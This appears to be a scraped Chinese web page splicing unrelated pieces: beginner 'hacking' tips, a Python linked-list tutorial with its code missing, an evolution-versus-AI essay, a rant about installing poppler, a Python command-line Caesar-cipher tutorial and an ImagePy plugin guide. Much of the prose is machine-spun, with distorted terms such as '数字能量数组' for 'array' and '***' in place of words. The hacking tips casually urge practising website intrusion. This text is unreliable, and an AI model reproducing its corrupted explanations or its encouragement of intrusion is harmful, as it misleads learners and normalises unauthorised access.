如何做黑客零基础(黑客零基础入门)

访客4年前黑客资讯1143

大家好我是隐白今日讲的是怎样零基础刚开始学好黑客技术性

很高兴今日给大伙儿共享一下,零基础如何学习黑客,这种方式 全是我在互联网中搜集的,随后一步步的简办,进而抵达高效性!

那麼黑客也分多种,例如前端开发黑客,程序编写黑客,这些!作为一名黑客最少要学好一门語言,例如C语言、C 、java。也有一门汉语计算机语言,e语言,我不会强烈推荐大伙儿去学这一汉语计算机语言!那麼我下列就给大伙儿归类了。

NO.1 要学好运用百度和谷歌 做到高效率的学习培训!

NO.2 要多看看一些有关黑客和技术性层面的的书本。

NO.3 要多看看一些黑客技术交流上的文章内容或是自学视频教程。

NO.4 要学好搜集(例如,搜集黑客专用工具、自学视频教程、和 *** 文章内容!)

NO.5 一定要有实践经验,要常常没事儿的情况下就需要去实战演练一下,这会很有协助!

NO.6 客观性的坚持不懈和自控能力,做一切事儿必须有的物品。

(学习培训黑客流程表)

大家看电视剧,感觉黑客在键盘上敲几个字就可以网站入侵/ *** 服务器了,可实际哪里有那么简易?

我之前感觉黑客很酷,她们的日常生活非常好,当我们才触碰了一点学习黑客的物品就感觉很枯燥乏味泛味!因此 学习培训黑客,不用很高的智力,最重要的是要有客观性的坚持不懈和自控能力!如果你学习培训成功了,你的日常生活便会很帅!

那麼如何去看看一些跟黑客相关的技术性书本?由于这些方面的书本确实太多了,我不给大伙儿强烈推荐了。

像黑客社区论坛啊“”新手黑客产业基地”呀等,这种互联网上面有许多,大部分百度搜索一些就出来,社区论坛里的物品也很有效!这就是百度和谷歌的强大的地方了。

实践经验,这一就是,你需要多开展一些黑客个人行为的实战演练,例如网站入侵啊这些。

实际上如何学习黑客,了解这一方式 非常简单,非常简单的便是你自身在互联网中渐渐地的探索黑客,这一路面!

因为我已不说过多得话,由于我害怕我能欺诈你,唯有你自身感觉恰当的物品才真实的恰当,坚信自己吧!

好啦感谢大家收看这篇出示给未来黑客的文章内容。

提及 LinkedList,相信绝大多数 Java 开发人员是了解的。但 Pythonner 或许并不了解。

在共享以前,我先说说为何写本文。

绝大多数阅读者了解我是一名 Android 开发人员,可是我最了解的語言也更是 Java 。 *** 实际上在 Java 是一个很重要的定义,而 LinkedList 也仅仅 *** 中的一个完成类罢了。自然 LinkedList 并并不是 Java 中唯一的 *** ,但它确是 Java 中应用双重链表的一个意味着类。

许多 Java 开发人员或许了解双重链表的构造及其益处哪些,终究 JDK 里边早已出示好啦 LinkedList 这一类。

此次因为我趁着 JDK 中 LinkedList 的完成基本原理,用 Python 来完成一个那样的算法设计。本文也可能使你更为深层次的掌握这一算法设计。

Ok,文章正文...

对于“ *** ”是啥就无需详说,能够 了解为一组原素的合辑。

实际上提及 LinkedList ,会有一个相对性的 *** ArrayList。这两个全是 Collection ( *** ) 的完成类。自然这两个也是有差别的,ArrayList 內部是由数字能量数组完成的,而 LinkedList 则是由链表(双重)完成的。

怎么会有这类算法设计的 *** ?

在探讨这一以前,我先科谱下这两个算法设计。

数字能量数组大伙儿应当都了解,能够 了解为一组线形、持续储存的算法设计。而链表则是由表针(偏向)关联起來的一个算法设计。

例如:

双重链表的含意则是不仅有一个 prev(前驱表针) ,又有一个 next(后轮驱动表针)来组成的一种算法设计。这两个则是为了更好地搭建出节点中间的关联。

再返回以前的难题,为何存有这二种算法设计的 *** ?

大伙儿能够 想一下,假如我们要做 get 、set、 remove 实际操作那麼对于 ArrayList 实际上只必须花销参量時间,由于数字能量数组的数据库索引进一步提高了高效率。

殊不知假如开展 *** 新值或是删掉实际操作时,高效率则会很低。由于假如 *** 的是正中间部位、或是最前端开发的部位,则必须对当今实际操作部位后边的数据信息必须向后或是往前挪动。

这一不难理解。

如同一个团队,假如你要 *** 到之一个部位,那麼从第二个刚开始以后的每一个人都必须向后挪动一个部位。

因而此刻就必须链表那样的算法设计。每一个节点都存有一个前驱和后轮驱动,大家要是改动表针偏向的节点就可以进行 *** 或是删掉实际操作。

再拿一个团队举个例子:

在这个团队中每一个人都知道自身前边到底是谁、后边到底是谁。那麼如果你 *** 到之一个部位的情况下,你只必须告知团队的之一个人你一直在他前边就可以,而后边的人也不用关心自身的部位在哪儿,她们只必须关心自身前边和后边的人到底是谁。

但是这儿必须留意一点,像那样的双重链表会出現最前端开发沒有前驱表针,后端开发沒有后轮驱动表针。因而双重链表会在前面增加一个 头节点、后端开发提升一个 尾节点。还可以称作 “标识节点”。

在我们对链表开展 get 或是 set 实际操作的情况下,实际上也是必须花销参量時间。但链表的 get 实际上高效率比数字能量数组的低,由于链表的缺陷便是不易做数据库索引,它不象数字能量数组能够 有数据库索引来搜索。

但是链表的搜索为了更好地提高工作效率,还可以做相对的提升。例如双重链表的一个特性便是两边都能够做为解析xml的起始点。

那样做的益处便是,假如 搜索 的部位是链表靠后的部位那麼就可以立即从尾端刚开始往前搜索。

自然这一点并并不是链表唯一的一个优势,另一个优势则是对 remove 和 insert 的实际操作只必须花销参量時间。由于链表的删掉和 *** 只必须搜索到相匹配部位,随后改动表针就可以。

因此 综上所述,大家假如对一个 *** 的搜索頻率较为高那麼更好用数字能量数组做为算法设计,但假如对 *** 、删掉頻率较为高,那麼采用链表则是一个效率高的决策。

扯了这么多,实际上这二种 *** 在 JDK 中早已有出示。

那麼 Python 可否也完成那样的 *** 呢?回答是毫无疑问的。

但是本文总是去完成 LinkedList (双重链表)的 *** ,另一种 ArrayList(数字能量数组)不做完成。

在完成 LinkedList 的全过程中,我能采用 ”抽象类“ 的定义。它是为了更好地让编码构造更清楚,我将 LinkedList 对外开放出示的方式 抽象性出去,随后在子类中实际完成就可以。

Ok~

编号

1、在大家刚开始撰写 LinkedList 以前先考虑到下必须界定什么抽象 *** 。

更先我这边先建立一个 Collection 的抽象类,而这一抽象类中出示了以下方式 :

细心的盆友很有可能会注意到有一个 iterator 的抽象 *** 。这一方式 可能回到一个迭代器,用以大家对 LinkedList 的迭代更新,后边会讲到。

但是这儿我能提一下,实际上 Python 源代码中有一个抽象类 Iterator ,它的抽象 *** 是 next 。

2、接下去,大家就可以那样来界定 LinkedList 类:

class LinkedList(Collection):

让 LinedList 承继自 Collection ,来完成大家的具体做法。

3、到这儿大家的 *** 类早已准备好,但还缺个物品便是数据信息类。还可以了解为原素类,但是在链表中的原素还可以称为节点。

如上是一个节点类,节点类中包含了当今节点的数据信息、当今节点的前驱和当今节点的后轮驱动。

4、在 Collection 中有一个抽象 *** iterator 。这儿大家还必须界定一个类,这一类则是自定的迭代器。我们在 iterator 的方式 中回到这一案例就可以了。

如上,承继自 Iterator 的 子类。我们在构造器中提升了 outter 这一入参,是由于我们在 LinkedListItertor 中必须应用到 LinkedList 中的主要参数,因而我们在构造器中提升 outter 传到 LinkedList 的案例

5、刚开始完成 LinkedList

上边两步早已出示了大家撰写 LinkedList 必须的基本类,那麼接下去大家就可以实际来完成逻辑性了。

在完成逻辑性以前必须再度提一下:前边的內容有提及2个”标识节点“,一个头节点、一个尾节点。

因而大家必须在构造器中就提升这两个标识节点。

A、构造器

往往把这一段逻辑性独立抽身到 doClear 中,是由于这一段逻辑性也是一个清除数据信息的逻辑性。

B、addIndex(self,index,data)

接下去就完成 ”在特定部位 *** 数据信息“。在链表中我们要 *** 一个数据信息,就务必先取得链表中所在位置的节点。随后对其前驱开展偏向就可以。(追忆 前边的一个团队的事例)

因此 大家必须先出示一个

getNodeWithIndex(index)

方式 来获得相匹配部位的节点(Node)

上边这一段编码能够 见到,我将逻辑性完成放进了

getNodeWithIndexLowerUpper(index,lower,upper) 中。

那么做的缘故也是上边提及的,即然这是一个双重链表,那麼大家当然可以可选择性的从两边刚开始解析xml。

即 :假如当今 index 靠后 ,则从尾端刚开始往前解析xml。靠前得话 则从头顶部向后解析xml。

即然 getNodeWithIndex 大家早已写好啦,那麼接下去就可以健全 add 方式 了。更先思索下,add 到特定 index 中的含意实际上是必须先取得当今 index 的 Node,随后将必须加上的 Node *** 到这一部位就可以。

如上:

更先大家建立一个前驱偏向所在位置节点的前驱,后轮驱动偏向当今节点的 Node.

随后根据转换当今节点前驱的表针和所在位置的前驱就完成了 *** 的实际操作。

C、addData(self,data)

接下去大家来完成在尾端 *** 一个 Node。 实际上便是在链表的尾端加上数据信息就可以,就等同于在 size() 的部位 *** 数据信息。启用 addIndex(size(),data) 就可以了。

D、size(self)

size 方式 实际上就非常简单了,由于大家每一次 add 的情况下会对 thisSize 开展自增。因而 thisSize 必定就是这个链表的长短。

E、isEmpty(self)

断定 thisSize 就可以。

F、remove(self,index)

了解了 add 的逻辑性,那麼 remove 则非常简单。大家取得必须 remove 的 Node 随后改动前驱和后轮驱动就可以。

OK~ 之上就将全部基本的抽象 *** 早已完成。接下去,就可以完成一个迭代器,用于迭代更新大家撰写的 LinkedList。

  H、iterator(self)

  在这里我们需要自定义一个迭代器。

  其实自定义一个 Python 的迭代器也是很简单的。

  我们只需要继承 Iterator,然后在抽象 *** next 中将数据遍历即可。

  当然迭代器作用无疑是迭代操作,因此我们需要增加中断迭代的条件。

  其中 current 表示当前节点的位置(指针),outter 是外部类(LinkedList)的引用。

  在构造器中我们将当前指针初始到 beginMarker 的Next 节点,也就是之一个数据。

  然后重写 Iterator 的 next *** ,一直遍历到指针指向 endMarker 。也就是指针到达尾节点的时候就中断迭代。

  这时候,我们只需要实现 next 这个 *** 即可。

  返回一个自定义迭代器的实例即可,入参是当前 LinkedList 实例。

  最后我们来测试一下这个 LinkedList

  打印结果如下:

  达尔文的进化论可以说是人类思想的一次解放,进化论的普及和被广泛接纳的过程,是进化论的坚定拥护者一起去面对陈腐的宗教势力抗争的结果,到了今天,进化论已经是主流的观点,任何挑战进化论的观点往往会受到打压。

  进化论当年挑战的是神创论,而现在挑战进化论的是(智能)设计论。设计论随着生命科学的发展深入不断被强化,尤其是生物化学的不断深入,我们对生物的细致机制了解越多,越发地让人感叹生命的神奇,也越加怀疑那些粗糙的无生命的东西怎么可能进化出这么精妙的生命系统?设计论的代表作之一是《达尔文的黑匣子》,作者Michael J. Behe原来是生物化学领域的研究人员,虽然在自己的生物化学领域没有醒目的建树,却因为这本书而出名。这本书从进化论的软肋入手:进化的过程目前看还是一个黑匣子,不同进化状态之间的跃迁还存在着很多缺失的环节,尤其生物化学的所取得的研究成果让这些缺失越发像“天堑”一般难于逾越。生物化学揭示了很多看似简单、其实无比复杂的机制,比如气管中的纤毛,涉及超过200种不同性质的蛋白质协同工作,其复杂性远超我们的想象,作者称之为“不可简化的复杂性”,意思是这种精密配合的组织,不可能是成千上万种蛋白质在随机组合的情况经过选择而形成的,唯一可以接受的解释是纤毛这样的“复杂装置”是被高等级都生物设计出来的。所以作者的结论是,既然一个生命体中有这么多让我们目眩神迷的“不可简化的复杂性”,那么我们还是不要像达尔文一样给一个简单粗暴的结论。

  设计论带来的另外一个问题,是谁设计了这么多千姿百态的不同种类的生命,虽然设计论支持者针对这个问题也有一些猜想(比如外星生命不小心的散播),显然这些猜想也都是无法证实的。

  最近几年火爆的基于深度学习的人工智能,也许能让我们从另外一个角度来认识进化论。人工智能的典型的训练过程如下图所示:

  如图中所示的“智能处理器”,在外面看也是一个黑匣子,里面其实是一层一层的数据转换模块,每层数据转换模块都包含大量的权重参数,“智能处理器”的训练过程就是这些权重参数的更优化的过程。最开始“智能处理器”只有一个初始值(可以随机设置),“输入样本”是用来训练的数据,比如大量的图片数据,“输出结果”是当前的“智能处理器”识别的结果,经过结果验证和优化器来进一步优化权重参数。由于近几年深度学习技术的兴起,“智能处理器”内部的层数可以大量的增加,使得“智能处理器”的复杂度也几何级数的增加,权重参数的数量很轻易地达到几千万的级别,从而使得经过训练后的“智能处理器”的能力显著提高,比如现在对图片的识别能力已经达到或者超过了普通人类的水平。

  看到上图中的这样一个过程,最直观的感受是它太像“优胜劣汰”这个进化论的核心过程了,每一次学习,都类似于一次存优去劣的过程。而且对于我们普通人,打开最终训练成功的这个“智能处理器”的黑匣子,看到几千万个权重参数,看到不同层级之间的协同工作(比如低层的主要识别局部的纹理轮廓特征,越高层的识别的内容越抽象),应该也有类似面对生物化学的研究成果的感觉。

  也许有人要说,“智能处理器”的架构是人“设计”的,可是按照人工智能目前发展的历时看,人工智能其实没有真正的理论基础,与其说是“设计”出来的,不如说是人类不断摸索总结出来的,靠实践经验堆出来的,看起来也许更像是进化论描述的结果。

  从人工智能的发展轨迹看,从一穷二白发展到繁复精妙,不是那么不可描述的,会在某个阶段出现显著加速把复杂度和功能水平提升几个等级,那些以前看起来宛若天堑的困难,在某个阶段就会变得如履平地,比如我们在十年前就无法想象,让机器自动学习后就能够在图像识别的能力方面超过人类。

  与其相信外星人或者神仙,我更相信进化的力量,至少在宏观的层面。

  这篇是纯吐槽。昨天发生的一件事,让我开始反思是什么在阻碍一个非专业人士的编程道路。

  其实很简单,我做了一个方便报销的小应用。用现成的工具包读电子发票的PDF,抽取其中的日期和金额,按月份加总输出。在我自己的电脑上,这些运行得非常顺利。但是当我试图把这个应用部署到公司服务器以供同事使用时,事情开始令我抓狂。

  读取PDF包叫pdftools,在服务器上装的时候,提醒我缺少其他的依赖项,于是我按部就班地装了新东西。

  之后还是不能运行,这个工具报错,大概是找不到对应的PDF上文字的字体映射。于是我Google了一下,结果非常少,但是可以通过装poppler-data这个包解决。

  装了之后,还是报同样的错误。由于Google上对这个错误的解决方案仅限于安装poppler-data,我只能另外再换关键词搜,去搜更宽泛的问题。搜了半个多小时,大概有个不太明晰的Gist,说可能和环境变量有关,于是我尝试设置,依然没有解决。

  然后我忽然意识到,难道是poppler这个包没有装?于是我尝试去装这个包,没想到它官方网站居然没有安装文档。当时我的反应是,「难道全天下人都天生知道怎么装这个包吗?」于是我又只能去搜索如何安装poppler,所幸Stack Overflow上有几个回答。但我一一照做,没有一个成功的,poppler版本更新之后,旧有的安装 *** 都失效了。

  于是我开始搜索如何安装新版,半个小时,终于找到了解决方案。当我跟着流程走的时候,又报错了,说需要更新cmake这个包,公司服务器上的版本太旧了,不支持。

  于是我又开始搜索如何安装cmake,中间又报了几次错,上网搜,解决,最后终于更新了cmake。然后重新装poppler,又报错了,大意是cmake的某个路径设置不对。

  我当时就掀桌去睡觉了。今天早晨我还是不甘心,继续搜索poppler,发现它是基于xpdf这个包的。于是我试着装了xpdf,之后所有都好了,我的应用终于运行正常了。

  但是,我的应用是做什么的来着?不过是抽取PDF里的日期和金额啊!我写这个应用总共花了一个小时,但是为了能让它上线使用,至少花了六个小时。我是非专业的编程者,大学学过一些编程基础,Python和R都是自学的,在公司写代码一年,也解决过一些服务器的问题,最后碰到这种无厘头的问题,还是忍不住掀桌想放弃。

  ——那么对于希望尝试编程的入门人员怎么办?

  我想到我的一个朋友,想学习Python,努力了很久但是连Python都装不上。我想到以前我想学PHP,却发现官网文档一团浆糊,连怎么配置都没有。我也想到自己刚开始学Python写爬虫,必须的包却怎么都装不上,最后不得不放弃。我还想到,大学学JAVA的时候,老师让我们点开某个系统设置,点进某个选项卡,在环境变量中加上某个路径,当时好多同学一脸茫然。

  有多少人不是因为编程本身而放弃了编程?有多少人也许本来可以写一些代码提高工作效率,却因为各种环境变量,最后连Hello World都print不出来?有多少人其实写的代码也不复杂,却因为这个那个依赖项被搞得精疲力尽,怀疑自己为什么要做这些?

  并不是每一个人都能有高超的搜索能力,可以搜到每一个奇怪bug的解决方案。也并不是每一个非专业的人都会那么有耐心,花上六个小时甚至更多,去运行自己写的几十行代码。

  这种感觉就像,为了吃上披萨,不能去必胜客,必须自己买原材料,自己组装烤箱,自己烘焙,甚至连电网都要你自己搭建起来。

  而我不过是想吃个披萨而已。

  对 Python 程序来说,完备的命令行界面可以提升团队的工作效率,减少调用时可能碰到的困扰。今天,我们就来教大家如何设计功能完整的 Python 命令行界面。

  对 Python 开发者来说用的最多的界面恐怕还是命令行。就拿我参与的机器学习项目来说,训练模型和评估算法的精确度都是通过在命令行界面运行脚本来完成的。

  所以调用一个 Python 脚本的时候我们希望这段脚本有一个尽量简洁方便调用的接口。尤其是团队中有多名开发者的时候这一点对提升团队的工作效率很重要。

  要让一段脚本方便调用总的来说有四个原则需要遵守:

  提供默认参数值

  处理调用出错的情况,比如缺少参数、参数类型错误或者找不到文件等

  在文档中说明各个参数和选项的用法

  如果执行时间较长应该提供进度条

  一个简单的例子

  下面我们先通过一个简单的例子来谈谈这四个原则的具体应用。例子中给出的脚本的功能是使用凯撒码变换对文本进行加密和解密。

  Caesar cipher:一种简单的消息编码方式。在密码学中,凯撒密码,移位密码是最简单和最广为人知的加密技术之一。

  比如说我们想让用户通过命令行参数来选择调用的方式是加密还是解密文本,而且用户要从命令行传入下面 encrypt 函数中的密匙参数 key。

  首先我们得在程序中拿到命令行参数。我在网上搜“ python 命令行参数”出来的之一个结果说让我用 sys.argv ,那我们就来试试看它好不好用。

  初级:笨办法

  其实 sys.argv 只是一个 list ,这个 list 的内容是用户调用脚本时所输入的所有参数(其中也包括脚本的文件名)。

  如果我像下面这样调用加解密的脚本 caesar_script.py 的话:

  > python caesar_script.py --key 23 --decrypt my secret message

  pb vhfuhw phvvdjh

  sys.argv 这个 list 的值就是:

  ['caesar_script.py', '--key', '23', '--decrypt', 'my', 'secret', 'message']

  所以我们现在要遍历这个 list 来找其中是否包括了“ –key ”或者“ -k ”,这样我们就能找到密匙“ 23 ”。再找到“ –decrypt ”就能知道用户是想要解密一段文本了(其实解密就是用密匙的相反数再加密一次)。

  完成后的代码如下:

  这段代码基本上遵守了我们提到的四个原则:

  key 和 加密模式都设置了缺省参数

  脚本可以处理像没有文本或者缺少参数这样比较基本的错误

  用户没有给参数或者有错的话会显示使用帮助

  > python caesar_script_using_sys_argv.py

  Usage: python caesar.py [ --key ] [ --encrypt|decrypt ]

  然而不算加密函数光处理参数我们就已经写了 39 行而且写得一点也不优雅。我有胆说肯定还有更好的办法来读命令行参数。

  中级:argparse

  Python 标准库里面提供了一个读取命令行参数的库——argparse 。我们来看看如果用 argparse 代码怎么写:

  这样写也符合四项指导原则,而且对参数的说明和错误处理都优于使用 sys.argv 的笨办法:

  不过我个人还是觉得代码里第 7 行到第 13 行定义参数的部分写得很啰嗦,而且我觉得参数应该使用声明式的 *** 来定义。

  高级: click

  还有一个叫 click 的库能实现我们想要的这些。它的基本功能和 argparse 是一样的,但写出来的代码更优雅。

  使用 click 改写我们的加解密脚本之后是这样的:

  我们需要的参数和选项都用装饰器来声明,这样就可以在 caesar 函数里直接使用了。

  上面的代码里有几点需要说明:

  nargs 参数是说这个参数的长度是几个词。默认值是 1 不过用引号引起来的句子也只算一个词。这里我们设为 -1 是指不限制长度。

  --decrypt/--encrypt 这样加一个斜杠的写法用来指明互斥的选项,它的功能和 argparse 中的 add_mutually_exclusive_group 函数类似。

  click.echo 是 click 提供的一个 print 功能,与 Python 2 和 3 都兼容,而且有颜色高亮功能。

  添加隐私功能

  我们写的是一个对文本加解密的脚本,但用户却直接把要加密的文本打出来了,这样有别人用这个命令行的话按几下上方向键就能看到我们的用户加密了什么东西,这是在是有点荒唐。

  我们可以选择把用户要加密的文本隐藏起来,或者是从文件里读文本。这两种 *** 都能解决我们的问题,但选择权应该留给用户。

  同理对于加解密的结果我们也让用户选择是直接在命令行输出还是保存成一个文件:

  这里我给每个参数和选项都加上了一小段说明,这样我们的文档能更清楚一点因为我们现在参数有点多了。现在的文档是这样的:

  两个新的参数 input_file 和 output_file 都是 click.File 类型,而且 click 帮我们处理了文件打开的读写方式和可能出现的错误,比如这样:

  如果用户没有提供 input_file 的话,如说明文档中所写,则会让用户在命令行进行输入,而且用户输入不再是明文了:

  破译密码

  假设我们现在是黑客,想解密但是不知道密匙该怎么办呢?对凯撒加密的英文来说很容易,只要调用解密函数 25 次然后看看那个结果不是乱码就行了。

  要调用 25 次还要一个一个看还是太麻烦,其实只要数数哪个结果里正确的英文词最多就行了。下面我们就用 PyEnchant 来实现自动破译密码:

  一气呵成!

  不过我们好像还没有提到四项原则的最后一点:

  4.如果执行时间较长应该提供进度条

  上面的脚本破译 104 个词的文本大约需要 5 秒。考虑到要遍历 25 个密匙还要数英文词的个数这个时间并不算慢。

  不过文本再长的话,比如 105 个词的文本,就要花 50 秒。这就有点长了,用户可能没有耐心等到程序运行完就强退了。

  所以我建议如果执行时间长的话更好加上进度条,关键是写起来非常简单:

  不仔细看的话可能都看不出有什么区别,因为区别只有四个字母 tqdm , *** 语中 tqdm 是进度的意思。

  tqdm 库的用法非常简单,只要把代码中的迭代器用 tqdm 括起来就行了:

  for key in tqdm(range(26)):

  这样就会在命令行输出一个进度条,简单得让人不敢相信。

  其实 click 的 click.progress_bar 也有类似的功能,但我觉得 click 的进度条不好看而且写法比tqdm 稍微麻烦一点。

  总结一下希望大家读完这篇文章能把设计 Python 命令行的这几个原则用到实践中去写出更好用的 Python 命令行。

  ImagePy 是一款 python 开源图像处理框架,其 UI 界面支持开放插件。在 github:上,不仅有关于这款图像处理软件的详细介绍,还有一些使用示例

  ImagePy 是一款基于 imagej 等插件的图像处理框架,它可以与 scipy.ndimage、scikit-image、opencv、simpleitk、mayavi 以及任何基于 numpy 的库进行组合使用,其地址为

  简介

  ImagePy 是用 python 编写的开源图像处理框架。它的 UI 接口、图像数据结构和表数据结构分别是基于 wxpython、numpy 和 pandas 的。此外,它支持任何基于 numpy 和 pandas 的插件,这些插件可以轻松地在 scipy.ndimage、scikit-image、simpleitk、opencv 和其他图像处理库之间进行通信。

  概览,鼠标测量,几何变换,过滤,分割,计数等

  如果你更喜欢 IJ 样式,请尝试使用「 Windows -> Windows Style 」来切换

  ImagePy:

  具有用户友好的界面;

  可以读取/保存各种格式的图像数据;

  支持 ROI 设置、绘图、测量和其他鼠标操作;

  可以执行图像滤波、形态学操作和其他常规操作;

  可以进行图像分割、区域计数、几何测量和密度分析;

  能够对从图像中提取的参数进行相关的数据分析、滤波、统计分析等。

  这个项目的长期目标是成为 ImageJ 和 SPSS 的联合体。

  地址:

  

  安装:

  支持的系统:带有 python2.7 和 python3 及以上版本的 windows、linux、mac 系统。

  ImagePy 是一个基于 wxpython 的 ui 框架,它不能在 linux 上用 pip 进行安装。你需要下载和你的 linux 系统相匹配的 whl文件。

  因为 ImagePy 会编写一些配置信息,因此,在 linux 和 mac 系统上,可能会存在权限问题,所以请从 sudo 命令开始。如果使用 pip 安装,请按照下面的 *** 来添加用户参数:pipsinstall--user imagepy。

  如果在 anaconda 虚拟环境中安装 ImagePy,那么你可能会遇到这样的错误:这个程序需要屏幕访问权限。请使用 python 构建的框架来运行,并且只有在你已经登录到主显示器上时才这样做,如果遇到这个问题,请从 pythonw-m 镜像开始。

  基本操作:

  ImagePy 有一组非常丰富的特性,在这里,我们使用一个具体的示例向你展示 ImagePy 的这些特性。我们选择官方使用 scikit-image 来分割硬币的例子,因为这个例子简单而全面。

  打开图像

  菜单打开:file -> local samples -> coins,来打开 ImagePy 中的示例图像。ps:ImagePy 支持 bmp、jpg、png、gif、tif 和其他常用的文件格式。通过安装 ITK 插件,还可以读取/保存 dicom、nii 和其他格式的医学图像。如果安装了 opencv,还可以读/写 wmv、avi 和其他格式的视频。

  硬币

  过滤与分割

  选择一个复合滤波器对图像进行 sobel 梯度提取,然后使用上下阈值作为标记,最后在梯度图上进行 watersheds 分割。滤波和分割是图像处理工具包中的关键技术,也是最终测量成败的关键。还支持诸如自适应阈值、watersheds 等分割 *** 。

  Up And Down Watershed 分割

  掩模

  二值化

  菜单打开:process -> binary -> binary fill holes

  分割后得到的掩模图像比较干净,但仍存在一些空洞和杂质,干扰了计数和测量。ImagePy 支持二进制操作,如腐蚀、膨胀、开环和闭环,以及轮廓提取、中心轴提取和距离转换。

  填洞

  几何滤波

  菜单打开: *** ysis -> region *** ysis -> geometry filter

  ImagePy 可以根据面积、周长、拓扑、稳定性和离心率等参数进行几何滤波。还可以使用多个条件进行筛选。每个数字可以是正的(或者负的),这表示所保存的对象的相应参数分别大于(或者小于)相对值。保存的对象将被设置为前色,拒绝的对象将被设置为背景色。在这个演示中,背景颜色设置为 100,以便查看有哪些对象被过滤掉了。一旦对结果满意,就将背景色设置为 0。此外,ImagePy 还支持灰度密度滤波、颜色滤波、颜色聚类等功能。

  几何滤波

  几何分析

  菜单打开:process -> region *** ysis -> geometry *** ysis count,计算面积并分析参数。通过选择 cov 选项,ImagePy 使用通过协方差计算的椭圆拟合每个区域。这里计算前面步骤中所示的参数,如面积、周长、离心率和稳定性。事实上,前一步的滤波正是对这一步的准备。

  几何分析

  生成结果表(背景是黑色,以强调椭圆)

  按区域对表进行排序

  菜单打开:table -> statistic -> table sort by key

  选择主键作为区域,并选择 descend,表将按面积的降序排序。表是除了图像之外的另一项重要数据。从某种意义上来说,很多时候我们需要获得图像的相关信息,然后以表的形式对数据进行后续处理。ImagePy 支持表 I/O(xls、xlsx、csv)、过滤、切片、统计分析、排序等等(右键单击列标题来设置文本颜色、小数精度、行样式等)。

  表

  图表

  菜单打开:table -> chart -> hist chart

  我们经常需要利用表格数据来绘制一个图表。这里,我们绘制了某个区域和其周边列的直方图。ImagePy 的表可以用于绘制常见的图表,如柱状图、饼图、直方图和散点图(基于 matplotlib)。该图表带有缩放、移动和其他功能,并可以保存为图像。

  直方图

  3D 表格

  菜单打开:kit3d -> viewer 3d -> 2d surface

  图像的表面重建。这幅图像显示了三种方式的重建结果,包括:sobel 梯度图、高阈值和低阈值。它显示了 Up And Down Watershed 是如何工作的:

  计算梯度;

  通过高低阈值标记硬币和背景;

  在 dem 图表上模拟上升 water 来形成分割线。

  ImagePy 可以完成图像的 3d 滤波、3d 轮廓构建、3d 拓扑分析、2d 表面重建和 3d 表面可视化。3d 视图可以被自由拖动、旋转,其结果可以保存为.stl 文件。

  3d 可视化

  宏记录和执行

  菜单打开:window -> develop tool suite

  宏记录器显示在开发工具面板中。我们已经手动完成了一个图像的分割。然而,用这种方式一下子处理超过 10 幅图像是非常乏味的。因此,假设在处理这些问题的时候,这些步骤具有高度的可重复性和健壮性,我们可以记录一个宏,以便将几个处理过程组合成一个单击程序。宏记录器与无线电记录器相似。打开后,它将记录操作的每个步骤。我们可以点击暂停按钮停止录制,也可以点击播放按钮开始录制。当宏运行时,所记录的命令将按照顺序执行,因此它具有简单性和可再现性。

  宏被保存到 .mc 文件中。将文件拖放到 ImagePy 底部的状态栏中,宏将自动执行。我们还可以将 .mc 文件复制到 ImagePy 文件目录下的菜单的子菜单中。当启动 ImagePy 时,宏文件将被解析为相应位置的菜单项。通过单击菜单,宏将被执行。

  宏记录

  Workflow

  宏是一系列预定义的命令。通过将一系列固定操作记录到宏中,可以提高工作效率。然而,宏缺乏灵活性。例如,有时主要步骤是固定的,但是参数调优需要人工参与。在这种情况下,workflow 就可以解决这个问题。ImagePy 中的 workflow 是可视化的流程图,分为两个层次:章节和部分。本章对应于 workflow 中的矩形区域,并且该部分是矩形区域中的按钮,也是命令,并附有图形说明。右边的消息窗口将显示相应的功能描述,同时鼠标悬停在上面。单击右上角的“详细文档”,查看整个过程的说明文档。

  workflow 实际上是用 MarkDown(一种标记语言)编写的,但是在编写时你需要遵守以下规范:

  Title=====

  ## Chapter1

  1. Section1some coment for section1 ...

  2. ...

  ## Chapter 2

  ...

  workflow

  滤波器插件

  在最后一节中,我们介绍了宏和 workflow,使用宏和 workflow 连接现有功能很方便。但有时我们需要创建新的特性。在本节中,我们将尝试向 ImagePy 添加一个新特性。ImagePy 可以轻松访问任何基于 numpy 的函数。让我们以 scikit-image 的 canny 操作符为例。

  示例代码如下:

  from skimage import feature

  from imagepy.core.engine import Filter

  class Plugin( Filter ):

  title='Canny'

  note=[ 'all' , 'auto_msk' , 'auto_snap' , 'preview' ]

  para={ 'sigma' : 1.0 , 'low_threshold' : 10 , 'high_threshold' : 20 }

  view=[ ( float , 'sigma' , ( 0 , 10 ) , 1 , 'sigma' , 'pix' ) ,

  ( 'slide' , 'low_threshold' , ( 0, 50 ) , 4 , 'low_threshold' ) ,

  ('slide' , 'high_threshold' , ( 0 , 50 ) , 4 , 'high_threshold' ) ]

  def run ( self , ips , snap , img , para=None ) :

  return feature.canny (snap , para[ 'sigma' ] , para[ 'low_threshold' ] ,

  para[ 'high_threshold' ] , mask=ips.get_msk ) * 255

  Canny 滤波器示例

  创建自己的滤波器的步骤:

  导入对应的库,通常是第三方库。

  继承 filter 类。

  标题将用作菜单的名称和参数对话框的标题,也用作宏记录的命令。

  在 note 中告诉框架它需要为你做什么,是否进行类型检查、是否支持选择、是否支持 UNDO 等等。

  para 是一个参数字典,包含函数所需的参数。

  为视图中的每个参数定义交互 *** ,框架将通过读取这些信息自动生成用于参数调优的对话框。

  编写主函数 run。img 是当前图像,para 是用户的输入参数。如果在 note 中设置了 auto_snap,snap 将是 img 的一个副本。我们可以处理这个副本,将结果存储在 img 中。如果函数不支持指定的输出,我们还可以返回结果,框架将帮助我们将结果复制到 img 并显示它。

  将文件保存为 xxx_plg.py,然后复制到菜单文件夹,重新启动 ImagePy。它将被作为菜单项加载。

  这个框架为我们做了什么?

  该框架以正式的方式把复杂的任务融合在一起,并帮助我们执行了:

  类型检查。如果当前图像类型不满足注释中的要求,则终止分析;

  根据参数,自动生成对话框以并检测输入的合法性;

  实时预览;

  自动 ROI 支持;

  撤消支持;

  并行化支持;

  图像堆栈支持;

  其它。

  表

  如前所述,表是除了图像之外的另一种非常重要的数据类型。类似地,ImagePy 也支持表的扩展。这里我们给出在前面描述中使用的按键排序的示例。

  代码为:

  from imagepy.core.engine import Table

  import pandas as pd

  class Plugin( Table ) :

  title='Table Sort By Key'

  para={ 'major':None , 'minor' : None , 'descend' : False }

  view=[ ( 'field' , 'major' , 'major' , 'key' ) ,

  ( 'field' , 'minor' , 'minor' , 'key' ) ,

  ( bool , 'descend' , 'descend' ) ]

  def run( self , tps , data , snap , para=None ) :

